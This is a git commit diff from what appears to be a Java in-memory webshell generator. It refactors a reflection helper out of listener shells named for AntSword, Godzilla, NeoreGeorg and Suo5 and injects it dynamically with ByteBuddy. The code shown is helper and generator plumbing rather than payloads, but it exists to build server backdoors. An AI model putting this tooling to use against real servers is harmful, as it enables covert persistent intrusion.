refactor: dynamic add getFieldValue method for Listener

ReaJason · ReaJason · commit 28098d12b6e4 · 2025-04-28T00:43:18.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java
@@ -6,8 +6,11 @@
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.modifier.Ownership;
+import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
+import net.bytebuddy.implementation.FixedValue;
 
 import java.util.Collections;
 
@@ -21,19 +24,32 @@ public class ListenerGenerator {
 
     public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
         String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
+        boolean needAddGetFieldValue = false;
+        try {
+            targetClass.getMethod("getFieldValue", Object.class, String.class);
+        } catch (NoSuchMethodException e) {
+            needAddGetFieldValue = true;
+        }
 
-        try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
+        DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(targetClass)
-                .name(newClassName)
-                .visit(new AsmVisitorWrapper.ForDeclaredMethods()
+                .name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
                         .method(named("getResponseFromRequest"),
                                 new MethodCallReplaceVisitorWrapper(
                                         newClassName,
                                         Collections.singleton(ShellCommonUtil.class.getName()))
                         )
                 )
-                .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
-                .make()) {
+                .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
+
+        if (needAddGetFieldValue) {
+            builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(Object.class, String.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
+        }
+
+        try (DynamicType.Unloaded<?> unloaded = builder.make()) {
             return unloaded
                     .load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
                     .getLoaded();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java
@@ -1,5 +1,7 @@
 package com.reajason.javaweb.memshell.utils;
 
+import net.bytebuddy.asm.Advice;
+
 import java.lang.reflect.Field;
 
 /**
@@ -8,6 +10,7 @@
  */
 public class ShellCommonUtil {
 
+    @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
         Field field = null;
         Class<?> clazz = obj.getClass();
@@ -26,4 +29,74 @@ public static Object getFieldValue(Object obj, String name) throws Exception {
             return field.get(obj);
         }
     }
+
+    public static class GetFieldValueInterceptor {
+        @Advice.OnMethodExit
+        @SuppressWarnings("all")
+        public static void exit(@Advice.Argument(value = 0) Object obj,
+                                @Advice.Argument(value = 1) String name,
+                                @Advice.Return(readOnly = false) Object returnValue
+        ) throws Exception {
+            Field field = null;
+            Class<?> clazz = obj.getClass();
+            while (clazz != Object.class) {
+                try {
+                    field = clazz.getDeclaredField(name);
+                    break;
+                } catch (NoSuchFieldException var5) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (field == null) {
+                throw new NoSuchFieldException(name);
+            } else {
+                field.setAccessible(true);
+                returnValue = field.get(obj);
+                return;
+            }
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static String base64DecodeToString(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value == null ? "" : new String(value);
+    }
+
+    public static class Base64DecodeToStringInterceptor {
+
+        @Advice.OnMethodExit
+        @SuppressWarnings("all")
+        public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
+            byte[] value = null;
+            Class<?> base64;
+            try {
+                base64 = Class.forName("java.util.Base64");
+                Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+            } catch (Exception var6) {
+                try {
+                    base64 = Class.forName("sun.misc.BASE64Decoder");
+                    Object decoder = base64.newInstance();
+                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+                } catch (Exception ignored) {
+                }
+            }
+            returnValue = value == null ? "" : new String(value);
+        }
+    }
 }
diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java
@@ -0,0 +1,20 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.server.TomcatShell;
+import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+class ListenerGeneratorTest {
+
+    @Test
+    void testCommonListener() {
+        Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
+        assertNotNull(clazz);
+    }
+}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java
@@ -4,7 +4,6 @@
 import javax.servlet.ServletRequestListener;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
-import java.lang.reflect.Field;
 
 /**
  * @author ReaJason
@@ -22,26 +21,6 @@ public AntSwordListener(ClassLoader z) {
         super(z);
     }
 
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) {
         byte[] value = null;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
@@ -6,7 +6,6 @@
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;
-import java.lang.reflect.Field;
 
 /**
  * @author ReaJason
@@ -45,25 +44,4 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         return null;
     }
-
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java
@@ -8,7 +8,6 @@
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpSession;
 import java.io.ByteArrayOutputStream;
-import java.lang.reflect.Field;
 
 /**
  * @author ReaJason
@@ -27,26 +26,6 @@ public GodzillaListener(ClassLoader z) {
         super(z);
     }
 
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
         String value = null;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java
@@ -39,27 +39,6 @@ public Class<?> load(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);
     }
 
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
     @SuppressWarnings("all")
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java
@@ -571,26 +571,6 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
         }
     }
 
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         return null;
     }
